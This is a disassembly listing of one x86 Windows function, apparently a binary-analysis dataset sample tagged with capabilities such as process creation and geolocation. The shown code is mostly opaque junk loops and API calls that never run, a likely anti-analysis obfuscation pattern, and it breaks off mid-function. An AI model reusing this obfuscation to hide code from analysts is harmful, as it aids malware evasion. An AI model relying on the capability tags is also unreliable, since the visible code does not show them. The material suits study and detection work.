Function at 0x46aaf5
Capabilities:
Allocate thread local storage
Create process on windows
Create thread
Get geographical location
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4ab5e7
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x2028
call fcn.0049adf0
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
push 4
lea ecx, [ebp - 0x1404]
call fcn.00430760
push 1
lea ecx, [ebp - 0x7cc]
call fcn.00430760
mov dword [ebp - 0xe8], 0
jmp 0x46ab51
mov eax, dword [ebp - 0xe8]
inc eax
mov dword [ebp - 0xe8], eax
cmp dword [ebp - 0xe8], 4
jge 0x46ab70
push dword [ebp - 0xe8]
lea ecx, [ebp - 0x1404]
call fcn.0043084e
or dword [eax], 0xffffffff
jmp 0x46ab44
mov dword [ebp - 0xe8], 0
jmp 0x46ab89
mov eax, dword [ebp - 0xe8]
inc eax
mov dword [ebp - 0xe8], eax
cmp dword [ebp - 0xe8], 1
jge 0x46abab
push dword [ebp - 0xe8]
lea ecx, [ebp - 0x7cc]
call fcn.0043084e
mov dword [eax], 0xa32b1cec
jmp 0x46ab7c
push 0
lea ecx, [ebp - 0x7cc]
call fcn.0043084e
mov dword [eax], 3
jmp 0x46abe4
push 0
lea ecx, [ebp - 0x7cc]
call fcn.0043084e
mov dword [ebp - 0x1034], eax
mov eax, dword [ebp - 0x1034]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x1034]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0x7cc]
call fcn.0043084e
cmp dword [eax], 0
jl 0x46ac90
push 0
lea ecx, [ebp - 0x7cc]
call fcn.0043084e
push dword [eax]
lea ecx, [ebp - 0x1404]
call fcn.0043084e
mov esi, eax
push 0
lea ecx, [ebp - 0x7cc]
call fcn.0043084e
push dword [eax]
lea ecx, [ebp - 0x1404]
call fcn.0043084e
mov ecx, dword [esi]
mov dword [eax], ecx
push 0
lea ecx, [ebp - 0x7cc]
call fcn.0043084e
push dword [eax]
lea ecx, [ebp - 0x1404]
call fcn.0043084e
cmp dword [eax], 0x843046b6
ja 0x46ac62
mov dword [ebp - 0x1210], 1
jmp 0x46ac69
and dword [ebp - 0x1210], 0
push 0
lea ecx, [ebp - 0x7cc]
call fcn.0043084e
push dword [eax]
lea ecx, [ebp - 0x1404]
call fcn.0043084e
mov ecx, dword [ebp - 0x1210]
mov dword [eax], ecx
jmp 0x46abc0
lea ecx, [ebp - 0x7cc]
call fcn.00430832
lea ecx, [ebp - 0x1404]
call fcn.00430832
mov dword [ebp - 0xa8], 0xffffffff
mov dword [ebp - 0xa8], 0
jmp 0x46acc9
mov eax, dword [ebp - 0xa8]
inc eax
mov dword [ebp - 0xa8], eax
cmp dword [ebp - 0xa8], 2
jle 0x46add6
mov dword [ebp - 0x23c], 0
mov dword [ebp - 0x1228], 0xa8afc1da
mov dword [ebp - 0x3d0], 0
jmp 0x46ad03
mov eax, dword [ebp - 0x3d0]
inc eax
mov dword [ebp - 0x3d0], eax
cmp dword [ebp - 0x3d0], 3
jge 0x46ad1f
mov eax, dword [ebp - 0x3d0]
mov dword [ebp + eax*4 - 0x1ef0], 0xf251d69f
jmp 0x46acf6
mov dword [ebp - 0x23c], 2
jmp 0x46ad38
mov eax, dword [ebp - 0x23c]
dec eax
mov dword [ebp - 0x23c], eax
cmp dword [ebp - 0x23c], 0
jl 0x46ad4e
cmp dword [ebp - 0xa8], 0
je 0x46ad4c
jmp 0x46ad4e
jmp 0x46ad2b
cmp dword [ebp - 0xa8], 0
jne 0x46ad60
mov eax, 0x62b0
test eax, eax
je 0x46ad69
mov eax, 0xcd9d
test eax, eax
jne 0x46ad7b
cmp dword [ebp - 0x23c], 0
jne 0x46ad7b
and dword [ebp - 0x1218], 0
jmp 0x46ad85
mov dword [ebp - 0x1218], 1
mov eax, dword [ebp - 0xa8]
cmp dword [ebp - 0x1218], eax
jg 0x46ad9f
mov dword [ebp - 0x1220], 1
jmp 0x46ada6
and dword [ebp - 0x1220], 0
mov eax, dword [ebp - 0x1220]
mov dword [ebp - 0x1228], eax
mov eax, dword [ebp - 0x1228]
mov dword [ebp - 0x1e50], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1ef0]
mov dword [ebp - 0x23c], eax
jmp 0x46acbc
mov eax, dword [ebp - 0xa8]
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0x298], 0xffffffff
mov dword [ebp - 0x344], 0x2d6273d5
mov dword [ebp - 0x298], 0xfffffffe
jmp 0x46ae0f
mov eax, dword [ebp - 0x298]
inc eax
mov dword [ebp - 0x298], eax
cmp dword [ebp - 0x298], 0x1a
jge 0x46b0ef
mov dword [ebp - 0xbc], 0xf5047c4d
mov dword [ebp - 0x3d4], 0
jmp 0x46ae3f
mov eax, dword [ebp - 0x3d4]
inc eax
mov dword [ebp - 0x3d4], eax
cmp dword [ebp - 0x3d4], 3
jge 0x46ae5b
mov eax, dword [ebp - 0x3d4]
mov dword [ebp + eax*4 - 0x12f0], 0x36951ad3
jmp 0x46ae32
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x12f0], 0
jmp 0x46ae89
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x12f0]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x12f0], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x12f0], 0x19
je 0x46afb3
mov dword [ebp - 0x4f4], 0
jmp 0x46aeb6
mov eax, dword [ebp - 0x4f4]
inc eax
mov dword [ebp - 0x4f4], eax
cmp dword [ebp - 0x4f4], 2
jge 0x46aed2
mov eax, dword [ebp - 0x4f4]
mov dword [ebp + eax*4 - 0x13f0], 0xffffffff
jmp 0x46aea9
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x13f0], 0xa
jmp 0x46af00
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x13f0]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x13f0], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x13f0], 0xffffffe7
jne 0x46afae
push 1
lea ecx, [ebp - 0x1ab0]
call fcn.00430760
mov dword [ebp - 0x2d4], 0xfffffffb
mov dword [ebp - 0x3dc], 0
jmp 0x46af44
mov eax, dword [ebp - 0x3dc]
inc eax
mov dword [ebp - 0x3dc], eax
cmp dword [ebp - 0x3dc], 1
jge 0x46af63
push dword [ebp - 0x3dc]
lea ecx, [ebp - 0x1ab0]
call fcn.0043084e
and dword [eax], 0
jmp 0x46af37
mov dword [ebp - 0x2d4], 0
jmp 0x46af7c
mov eax, dword [ebp - 0x2d4]
inc eax
mov dword [ebp - 0x2d4], eax
cmp dword [ebp - 0x2d4], 1
jge 0x46af9e
push dword [ebp - 0x2d4]
lea ecx, [ebp - 0x1ab0]
call fcn.0043084e
mov dword [eax], 0x6941fc9a
jmp 0x46af6f
lea ecx, [ebp - 0x1ab0]
call fcn.00430832
jmp 0x46aee5
jmp 0x46ae6e
mov dword [ebp - 0xbc], 0
jmp 0x46afcc
mov eax, dword [ebp - 0xbc]
inc eax
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 2
jg 0x46b0ea
mov dword [ebp - 0x344], 0xfffa
mov eax, dword [ebp - 0x344]
mov dword [ebp - 0x1bc4], eax
mov eax, dword [ebp - 0xbc]
mov eax, dword [ebp + eax*4 - 0x12f0]
mov dword [ebp - 0x1d88], eax
mov eax, dword [ebp - 0x344]
add eax, dword [ebp - 0xbc]
sub eax, dword [ebp - 0x298]
jne 0x46b028
mov eax, 0xfff8
test eax, eax
jne 0x46b028
and dword [ebp - 0x1260], 0
jmp 0x46b032
mov dword [ebp - 0x1260], 1
mov eax, dword [ebp - 0xbc]
mov ecx, 0x75cb
sub ecx, dword [ebp + eax*4 - 0x12f0]
cmp ecx, dword [ebp - 0x1260]
je 0x46b058
mov dword [ebp - 0x1268], 1
jmp 0x46b05f
and dword [ebp - 0x1268], 0
cmp dword [ebp - 0x1268], 0x275f
jl 0x46b077
mov dword [ebp - 0x1270], 1
jmp 0x46b07e
and dword [ebp - 0x1270], 0
mov eax, dword [ebp - 0x298]
mov ecx, dword [ebp - 0x1270]
lea eax, [ecx + eax - 0xffff]
mov ecx, dword [ebp - 0xbc]
cmp eax, dword [ebp + ecx*4 - 0x12f0]
jle 0x46b0ac
mov dword [ebp - 0x1278], 1
jmp 0x46b0b3
and dword [ebp - 0x1278], 0
cmp dword [ebp - 0x1278], 0x1521
jl 0x46b0cb
mov dword [ebp - 0x1280], 1
jmp 0x46b0d2
and dword [ebp - 0x1280], 0
mov eax, dword [ebp - 0xbc]
mov ecx, dword [ebp - 0x1280]
mov dword [ebp + eax*4 - 0x12f0], ecx
jmp 0x46afbf
jmp 0x46ae02
mov eax, dword [ebp - 0x344]
mov dword [ebp - 0x344], eax
push 4
lea ecx, [ebp - 0x144c]
call fcn.00430760
mov dword [ebp - 0x34], 0xcfb6318d
mov dword [ebp - 0x10dc], 0xaa058a13
mov dword [ebp - 0x584], 0
jmp 0x46b132
mov eax, dword [ebp - 0x584]
inc eax
mov dword [ebp - 0x584], eax
cmp dword [ebp - 0x584], 4
jge 0x46b14e
mov eax, dword [ebp - 0x584]
mov dword [ebp + eax*4 - 0x1800], 1
jmp 0x46b125
cmp dword [ebp - 0x34], 0
je 0x46b166
cmp dword [ebp - 0x34], 0
je 0x46b166
mov dword [ebp - 0x1290], 1
jmp 0x46b16d
and dword [ebp - 0x1290], 0
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x1bcc], eax
cmp dword [ebp - 0x34], 0xb4e9
jle 0x46b18b
mov dword [ebp - 0x1288], 1
jmp 0x46b192
and dword [ebp - 0x1288], 0
mov eax, dword [ebp - 0x34]
imul eax, dword [ebp - 0x1288]
cmp dword [ebp - 0x1290], eax
je 0x46b1b0
mov dword [ebp - 0x1298], 1
jmp 0x46b1b7
and dword [ebp - 0x1298], 0
mov eax, dword [ebp - 0x34]
cmp eax, dword [ebp - 0x1298]
jl 0x46b1ce
mov dword [ebp - 0x12a0], 1
jmp 0x46b1d5
and dword [ebp - 0x12a0], 0
mov eax, dword [ebp - 0x34]
cmp dword [ebp - 0x12a0], eax
jl 0x46b1ec
mov dword [ebp - 0x12a8], 1
jmp 0x46b1f3
and dword [ebp - 0x12a8], 0
mov eax, dword [ebp - 0x12a8]
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x34], 0
jmp 0x46b20c
mov eax, dword [ebp - 0x34]
inc eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 3
jg 0x46b5e5
mov dword [ebp - 0x280], 1
push 1
lea ecx, [ebp - 0x18d4]
call fcn.00430760
mov dword [ebp - 0x14e8], 1
mov dword [ebp - 0x14f0], 0
mov dword [ebp - 0x3e4], 0
jmp 0x46b25a
mov eax, dword [ebp - 0x3e4]
inc eax
mov dword [ebp - 0x3e4], eax
cmp dword [ebp - 0x3e4], 1
jge 0x46b279
push dword [ebp - 0x3e4]
lea ecx, [ebp - 0x18d4]
call fcn.0043084e
or dword [eax], 0xffffffff
jmp 0x46b24d
mov dword [ebp - 0x280], 0
jmp 0x46b292
mov eax, dword [ebp - 0x280]
inc eax
mov dword [ebp - 0x280], eax
cmp dword [ebp - 0x280], 3
jg 0x46b489
mov dword [ebp - 0x248], 0xfeb9e9d6
mov dword [ebp - 0x248], 3
jmp 0x46b2c2
mov eax, dword [ebp - 0x248]
dec eax
mov dword [ebp - 0x248], eax
cmp dword [ebp - 0x248], 0
jl 0x46b484
mov dword [ebp - 0x2dc], 1
mov dword [ebp - 0x2dc], 3
jmp 0x46b2f2
mov eax, dword [ebp - 0x2dc]
dec eax
mov dword [ebp - 0x2dc], eax
cmp dword [ebp - 0x2dc], 0
jl 0x46b428
mov dword [ebp - 0x13c], 0xfffffff8
mov dword [ebp - 0x13c], 0
jmp 0x46b322
mov eax, dword [ebp - 0x13c]
inc eax
mov dword [ebp - 0x13c], eax
cmp dword [ebp - 0x13c], 3
jg 0x46b3e5
mov dword [ebp - 0x4fc], 0
jmp 0x46b348
mov eax, dword [ebp - 0x4fc]
inc eax
mov dword [ebp - 0x4fc], eax
cmp dword [ebp - 0x4fc], 2
jge 0x46b364
mov eax, dword [ebp - 0x4fc]
mov dword [ebp + eax*4 - 0x1234], 0x94abc248
jmp 0x46b33b
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x1234], 0
jmp 0x46b392
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x1234]
inc eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0x1234], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x1234], 3
jg 0x46b3cf
mov byte [ebp - 0x230], 0
movzx eax, byte [ebp - 0x230]
test eax, eax
je 0x46b3cd
push 0x11aa
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetTextAlign]
jmp 0x46b377
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x1234], 0xfa48a2b8
jmp 0x46b315
mov dword [ebp - 0x13c], 3
jmp 0x46b3fe
mov eax, dword [ebp - 0x13c]
dec eax
mov dword [ebp - 0x13c], eax
cmp dword [ebp - 0x13c], 0
jl 0x46b423
mov eax, dword [ebp - 0x2dc]
mov ecx, dword [ebp - 0x248]
mov eax, dword [ebp + eax*4 - 0x1800]
mov dword [ebp + ecx*4 - 0x1800], eax
jmp 0x46b3f1
jmp 0x46b2e5
mov eax, dword [ebp - 0x248]
cmp dword [ebp + eax*4 - 0x1800], 4
jne 0x46b444
mov dword [ebp - 0x12b0], 1
jmp 0x46b44b
and dword [ebp - 0x12b0], 0
cmp dword [ebp - 0x12b0], 0xa2ef
jle 0x46b463
mov dword [ebp - 0x12b8], 1
jmp 0x46b46a
and dword [ebp - 0x12b8], 0
push 0
lea ecx, [ebp - 0x18d4]
call fcn.0043084e
mov ecx, dword [ebp - 0x12b8]
mov dword [eax], ecx
jmp 0x46b2b5
jmp 0x46b285
mov eax, dword [ebp - 0x34]
cmp dword [ebp + eax*4 - 0x1800], 0
je 0x46b591
push 4
pop eax
imul eax, eax, 3
push 4
pop ecx
shl ecx, 1
mov ecx, dword [ebp + ecx - 0x1800]
cmp dword [ebp + eax - 0x1800], ecx
jge 0x46b4c1
mov dword [ebp - 0x12c0], 1
jmp 0x46b4c8
and dword [ebp - 0x12c0], 0
mov eax, dword [ebp - 0x34]
cmp dword [ebp - 0x12c0], eax
jg 0x46b4df
mov dword [ebp - 0x12c8], 1
jmp 0x46b4e6
and dword [ebp - 0x12c8], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x1800]
cmp eax, dword [ebp - 0x12c8]
jl 0x46b507
mov dword [ebp - 0x12d0], 1
jmp 0x46b50e
and dword [ebp - 0x12d0], 0
cmp dword [ebp - 0x12d0], 0xfff8
jbe 0x46b526
mov dword [ebp - 0x12d8], 1
jmp 0x46b52d
and dword [ebp - 0x12d8], 0
mov eax, dword [ebp - 0x12d8]
mov dword [ebp - 0x280], eax
cmp dword [ebp - 0x280], 0xffffffff
jbe 0x46b54e
mov dword [ebp - 0x14b8], 1
jmp 0x46b555
and dword [ebp - 0x14b8], 0
mov eax, dword [ebp - 0x14e8]
mov dword [ebp - 0x12e0], eax
push 0
lea ecx, [ebp - 0x18d4]
call fcn.0043084e
mov ecx, dword [ebp - 0x12e0]
mov dword [eax], ecx
cmp dword [ebp - 0x12e0], 0
je 0x46b591
cmp dword [ebp - 0x34], 0
je 0x46b591
mov dword [ebp - 0x1348], 1
jmp 0x46b598
and dword [ebp - 0x1348], 0
mov eax, dword [ebp - 0x1348]
mov dword [ebp - 0x10dc], eax
cmp dword [ebp - 0x10dc], 0
je 0x46b5c2
mov eax, 0xc9ca
test eax, eax
je 0x46b5c2
mov dword [ebp - 0xfb0], 1
jmp 0x46b5c9
and dword [ebp - 0xfb0], 0
mov eax, dword [ebp - 0xfb0]
mov dword [ebp - 0x14f0], eax
lea ecx, [ebp - 0x18d4]
call fcn.00430832
jmp 0x46b205
push 1
lea ecx, [ebp - 0x7f0]
call fcn.00430760
mov dword [ebp - 0x114], 0x53b26bdd
mov dword [ebp - 0x708], 0xffaa2324
mov dword [ebp - 0xfe8], 0xcec0
mov dword [ebp - 0x3ec], 0
jmp 0x46b629
mov eax, dword [ebp - 0x3ec]
inc eax
mov dword [ebp - 0x3ec], eax
cmp dword [ebp - 0x3ec], 3
jge 0x46b645
mov eax, dword [ebp - 0x3ec]
mov dword [ebp + eax*4 - 0x2010], 0x22955d48
jmp 0x46b61c
mov dword [ebp - 0x114], 0
jmp 0x46b65e
mov eax, dword [ebp - 0x114]
dec eax
mov dword [ebp - 0x114], eax
cmp dword [ebp - 0x114], 0xfffffff2
jl 0x46b948
push 1
lea ecx, [ebp - 0x1370]
call fcn.00430760
mov dword [ebp - 0xc4], 0
mov dword [ebp - 0xfe0], 0xb2455f99
mov dword [ebp - 0x828], 0
mov dword [ebp - 0x5cc], 0
jmp 0x46b6af
mov eax, dword [ebp - 0x5cc]
inc eax
mov dword [ebp - 0x5cc], eax
cmp dword [ebp - 0x5cc], 1
jge 0x46b6d1
push dword [ebp - 0x5cc]
lea ecx, [ebp - 0x1370]
call fcn.0043084e
mov dword [eax], 7
jmp 0x46b6a2
mov dword [ebp - 0xc4], 0
jmp 0x46b6ea
mov eax, dword [ebp - 0xc4]
dec eax
mov dword [ebp - 0xc4], eax
cmp dword [ebp - 0xc4], 0
jl 0x46b91e
mov dword [ebp - 0x14f8], 1
mov dword [ebp - 0x1da8], 0xd69b45c7
mov eax, dword [ebp - 0xc4]
add eax, 0x11fb8eb5
mov dword [ebp - 0x708], eax
cmp dword [ebp - 0x708], 0x389a9b8f
je 0x46b73a
cmp dword [ebp - 0x708], 0
jne 0x46b73a
and dword [ebp - 0x800], 0
jmp 0x46b744
mov dword [ebp - 0x800], 1
mov eax, dword [ebp - 0x114]
cmp eax, dword [ebp - 0x800]
jl 0x46b75e
mov dword [ebp - 0xfb8], 1
jmp 0x46b765
and dword [ebp - 0xfb8], 0
cmp dword [ebp - 0xfb8], 6
jl 0x46b78d
push dword [ebp - 0xc4]
lea ecx, [ebp - 0x1370]
call fcn.0043084e
cmp dword [eax], 0
jne 0x46b78d
and dword [ebp - 0x808], 0
jmp 0x46b797
mov dword [ebp - 0x808], 1
push dword [ebp - 0xc4]
lea ecx, [ebp - 0x1370]
call fcn.0043084e
mov ecx, dword [ebp - 0x808]
imul ecx, dword [eax]
test ecx, ecx
je 0x46b7ca
cmp dword [ebp - 0xfe0], 0
je 0x46b7ca
mov dword [ebp - 0xfc0], 1
jmp 0x46b7d1
and dword [ebp - 0xfc0], 0
mov eax, dword [ebp - 0xfc0]
add eax, 0x6fd8c658
jne 0x46b7f0
cmp dword [ebp - 0x114], 0
jne 0x46b7f0
and dword [ebp - 0x810], 0
jmp 0x46b7fa
mov dword [ebp - 0x810], 1
push 0
lea ecx, [ebp - 0x1370]
call fcn.0043084e
mov ecx, dword [ebp - 0x810]
cmp ecx, dword [eax]
jne 0x46b81d
mov dword [ebp - 0xfc8], 1
jmp 0x46b824
and dword [ebp - 0xfc8], 0
cmp dword [ebp - 0xfc8], 3
jbe 0x46b839
mov dword [ebp - 0x818], 1
jmp 0x46b840
and dword [ebp - 0x818], 0
mov eax, dword [ebp - 0x114]
cmp dword [ebp - 0x818], eax
jl 0x46b85a
mov dword [ebp - 0xfd0], 1
jmp 0x46b861
and dword [ebp - 0xfd0], 0
push dword [ebp - 0xc4]
lea ecx, [ebp - 0x1370]
call fcn.0043084e
mov eax, dword [eax]
cmp eax, dword [ebp - 0xfd0]
jge 0x46b888
mov dword [ebp - 0x820], 1
jmp 0x46b88f
and dword [ebp - 0x820], 0
cmp dword [ebp - 0x820], 0xd6a9
je 0x46b8a7
mov dword [ebp - 0xfd8], 1
jmp 0x46b8ae
and dword [ebp - 0xfd8], 0
mov eax, dword [ebp - 0xfd8]
add eax, 0xffff
sub eax, dword [ebp - 0x114]
mov dword [ebp - 0x828], eax
mov esi, dword [ebp - 0x828]
imul esi, dword [ebp - 0x114]
push dword [ebp - 0xc4]
lea ecx, [ebp - 0x1370]
call fcn.0043084e
sub esi, dword [eax]
cmp esi, dword [ebp - 0xfe0]
je 0x46b8f9
mov dword [ebp - 0x830], 1
jmp 0x46b900
and dword [ebp - 0x830], 0
mov eax, dword [ebp - 0x830]
mov dword [ebp - 0x14f8], eax
mov eax, dword [ebp - 0xfe8]
dec eax
mov dword [ebp - 0xfe8], eax
jmp 0x46b6dd
mov byte [ebp - 0x187], 0
movzx eax, byte [ebp - 0x187]
test eax, eax
je 0x46b938
push 0
call dword [sym.imp.KERNEL32.dll_GlobalFree]
lea ecx, [ebp - 0x1370]
call fcn.00430832
jmp 0x46b651
mov dword [ebp - 0xfc], 0
jmp 0x46b961
mov eax, dword [ebp - 0xfc]
inc eax
mov dword [ebp - 0xfc], eax
cmp dword [ebp - 0xfc], 4
jge 0x46b980
push dword [ebp - 0xfc]
lea ecx, [ebp - 0x144c]
call fcn.0043084e
or dword [eax], 0xffffffff
jmp 0x46b954
push 3
lea ecx, [ebp - 0x3b4]
call fcn.00430760
push 1
lea ecx, [ebp - 0x18a4]
call fcn.00430760
mov dword [ebp - 0x198], 1
mov dword [ebp - 0x1000], 0x428464d9
mov dword [ebp - 0x154], 0x51ad
mov dword [ebp - 0x888], 9
mov dword [ebp - 0x190], 0xfffffffc
mov dword [ebp - 0x1508], 0xf0027394
mov dword [ebp - 0x40], 0
jmp 0x46b9e6
mov eax, dword [ebp - 0x40]
inc eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 3
jge 0x46ba02
push dword [ebp - 0x40]
lea ecx, [ebp - 0x3b4]
call fcn.0043084e
mov dword [eax], 3
jmp 0x46b9df
mov dword [ebp - 0x40], 0
jmp 0x46ba12
mov eax, dword [ebp - 0x40]
inc eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 1
jge 0x46ba2b
push dword [ebp - 0x40]
lea ecx, [ebp - 0x18a4]
call fcn.0043084e
and dword [eax], 0
jmp 0x46ba0b
mov dword [ebp - 0x40], 0
jmp 0x46ba3b
mov eax, dword [ebp - 0x40]
inc eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 4
jge 0x46ba51
mov eax, dword [ebp - 0x40]
mov dword [ebp + eax*4 - 0x1e6c], 0xfffffffb
jmp 0x46ba34
push 1
lea ecx, [ebp - 0x3b4]
call fcn.0043084e
cmp dword [eax], 0x11aa84cb
jl 0x46ba72
mov dword [ebp - 0x1500], 1
jmp 0x46ba79
and dword [ebp - 0x1500], 0
push 1
lea ecx, [ebp - 0x3b4]
call fcn.0043084e
push 0
lea ecx, [ebp - 0x3b4]
call fcn.0043084e
mov esi, eax
push 1
lea ecx, [ebp - 0x3b4]
call fcn.0043084e
mov ecx, dword [esi]
sub ecx, dword [eax]
cmp ecx, 1
je 0x46bac9
push 0
lea ecx, [ebp - 0x3b4]
call fcn.0043084e
cmp dword [eax], 0
je 0x46bac9
mov dword [ebp - 0x650], 1
jmp 0x46bad0
and dword [ebp - 0x650], 0
push 0
lea ecx, [ebp - 0x18a4]
call fcn.0043084e
mov ecx, dword [ebp - 0x650]
mov dword [eax], ecx
push 1
lea ecx, [ebp - 0x3b4]
call fcn.0043084e
mov eax, dword [eax]
cmp eax, dword [ebp - 0x650]
jne 0x46bb08
mov dword [ebp - 0x838], 1
jmp 0x46bb0f
and dword [ebp - 0x838], 0
mov eax, dword [ebp - 0x838]
mov dword [ebp - 0x198], eax
mov esi, dword [ebp - 0x198]
push 1
lea ecx, [ebp - 0x3b4]
call fcn.0043084e
cmp esi, dword [eax]
jge 0x46bb3e
mov dword [ebp - 0xff0], 1
jmp 0x46bb45
and dword [ebp - 0xff0], 0
push 1
lea ecx, [ebp - 0x3b4]
call fcn.0043084e
mov ecx, dword [ebp - 0xff0]
cmp ecx, dword [eax]
jg 0x46bb68
mov dword [ebp - 0x840], 1
jmp 0x46bb6f
and dword [ebp - 0x840], 0
cmp dword [ebp - 0x840], 1
jne 0x46bb84
mov dword [ebp - 0xff8], 1
jmp 0x46bb8b
and dword [ebp - 0xff8], 0
push 1
lea ecx, [ebp - 0x3b4]
call fcn.0043084e
mov ecx, dword [ebp - 0xff8]
cmp ecx, dword [eax]
jne 0x46bbae
mov dword [ebp - 0x848], 1
jmp 0x46bbb5
and dword [ebp - 0x848], 0
mov eax, dword [ebp - 0x848]
mov dword [ebp - 0x1000], eax
mov esi, dword [ebp - 0x1000]
push 1
lea ecx, [ebp - 0x3b4]
call fcn.0043084e
cmp dword [eax], esi
jge 0x46bbe4
mov dword [ebp - 0x850], 1
jmp 0x46bbeb
and dword [ebp - 0x850], 0
cmp dword [ebp - 0x850], 3
je 0x46bc00
mov dword [ebp - 0x1008], 1
jmp 0x46bc07
and dword [ebp - 0x1008], 0
cmp dword [ebp - 0x1008], 6
je 0x46bc1c
mov dword [ebp - 0x858], 1
jmp 0x46bc23
and dword [ebp - 0x858], 0
mov eax, dword [ebp - 0x154]
cmp dword [ebp - 0x858], eax
jge 0x46bc3d
mov dword [ebp - 0x1010], 1
jmp 0x46bc44
and dword [ebp - 0x1010], 0
mov eax, dword [ebp - 0x1010]
imul eax, dword [ebp - 0x154]
mov dword [ebp - 0x860], eax
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x860]
mov dword [ebp + eax - 0x1e6c], ecx
cmp dword [ebp - 0x860], 0
je 0x46bc8e
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x1e6c], 0
je 0x46bc8e
mov dword [ebp - 0x1018], 1
jmp 0x46bc95
and dword [ebp - 0x1018], 0
cmp dword [ebp - 0x1018], 0x5976
jge 0x46bcad
mov dword [ebp - 0x868], 1
jmp 0x46bcb4
and dword [ebp - 0x868], 0
mov eax, dword [ebp - 0x888]
cmp dword [ebp - 0x868], eax
jle 0x46bcce
mov dword [ebp - 0x1020], 1
jmp 0x46bcd5
and dword [ebp - 0x1020], 0
mov eax, dword [ebp - 0x154]
cmp dword [ebp - 0x1020], eax
jg 0x46bcef
mov dword [ebp - 0x870], 1
jmp 0x46bcf6
and dword [ebp - 0x870], 0
push 1
lea ecx, [ebp - 0x3b4]
call fcn.0043084e
mov ecx, dword [ebp - 0x870]
cmp ecx, dword [eax]
jg 0x46bd19
mov dword [ebp - 0x1028], 1
jmp 0x46bd20
and dword [ebp - 0x1028], 0
push 1
lea ecx, [ebp - 0x3b4]
call fcn.0043084e
mov eax, dword [eax]
sub eax, dword [ebp - 0x1028]
cmp eax, dword [ebp - 0x190]
jne 0x46bd49
mov dword [ebp - 0x878], 1
jmp 0x46bd50
and dword [ebp - 0x878], 0
mov eax, dword [ebp - 0x878]
mov dword [ebp - 0x1508], eax
mov dword [ebp - 0x154], 0
jmp 0x46bd75
mov eax, dword [ebp - 0x154]
inc eax
mov dword [ebp - 0x154], eax
cmp dword [ebp - 0x154], 0
jg 0x46bf33
mov dword [ebp - 0x1bd4], 0xfffffffc
mov dword [ebp - 0x1510], 7
mov dword [ebp - 0x3f4], 0
jmp 0x46bdaf
mov eax, dword [ebp - 0x3f4]
inc eax
mov dword [ebp - 0x3f4], eax
cmp dword [ebp - 0x3f4], 1
jge 0x46bdcb
mov eax, dword [ebp - 0x3f4]
mov dword [ebp + eax*4 - 0x6f0], 0x7c3cb878
jmp 0x46bda2
mov dword [ebp - 0x190], 0
jmp 0x46bde4
mov eax, dword [ebp - 0x190]
inc eax
mov dword [ebp - 0x190], eax
cmp dword [ebp - 0x190], 0
jg 0x46bef6
push dword [ebp - 0x154]
lea ecx, [ebp - 0x18a4]
call fcn.0043084e
cmp dword [eax], 0
jge 0x46be13
mov dword [ebp - 0x880], 1
jmp 0x46be1a
and dword [ebp - 0x880], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x6f0]
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x6f0]
inc ecx
push 4
pop edx
imul edx, edx, 0
mov dword [ebp + edx - 0x6f0], ecx
test eax, eax
je 0x46be5b
mov eax, 0x851cc0d6
test eax, eax
je 0x46be5b
mov dword [ebp - 0x1030], 1
jmp 0x46be62
and dword [ebp - 0x1030], 0
mov eax, dword [ebp - 0x190]
inc eax
inc eax
push eax
lea ecx, [ebp - 0x3b4]
call fcn.0043084e
mov ecx, dword [ebp - 0x1030]
cmp ecx, dword [eax]
jl 0x46be8c
mov dword [ebp - 0x1038], 1
jmp 0x46be93
and dword [ebp - 0x1038], 0
mov eax, dword [ebp - 0x880]
cmp eax, dword [ebp - 0x1038]
jg 0x46bebd
mov eax, dword [ebp - 0x190]
cmp dword [ebp + eax*4 - 0x1e6c], 0
je 0x46bebd
mov dword [ebp - 0x1040], 1
jmp 0x46bec4
and dword [ebp - 0x1040], 0
mov eax, dword [ebp - 0x888]
cmp dword [ebp - 0x1040], eax
jg 0x46bede
mov dword [ebp - 0x890], 1
jmp 0x46bee5
and dword [ebp - 0x890], 0
mov eax, dword [ebp - 0x890]
mov dword [ebp - 0x1510], eax
jmp 0x46bdd7
mov dword [ebp - 0x198], 0
jmp 0x46bf0f
mov eax, dword [ebp - 0x198]
inc eax
mov dword [ebp - 0x198], eax
cmp dword [ebp - 0x198], 3
jge 0x46bf2e
push dword [ebp - 0x198]
lea ecx, [ebp - 0x3b4]
call fcn.0043084e
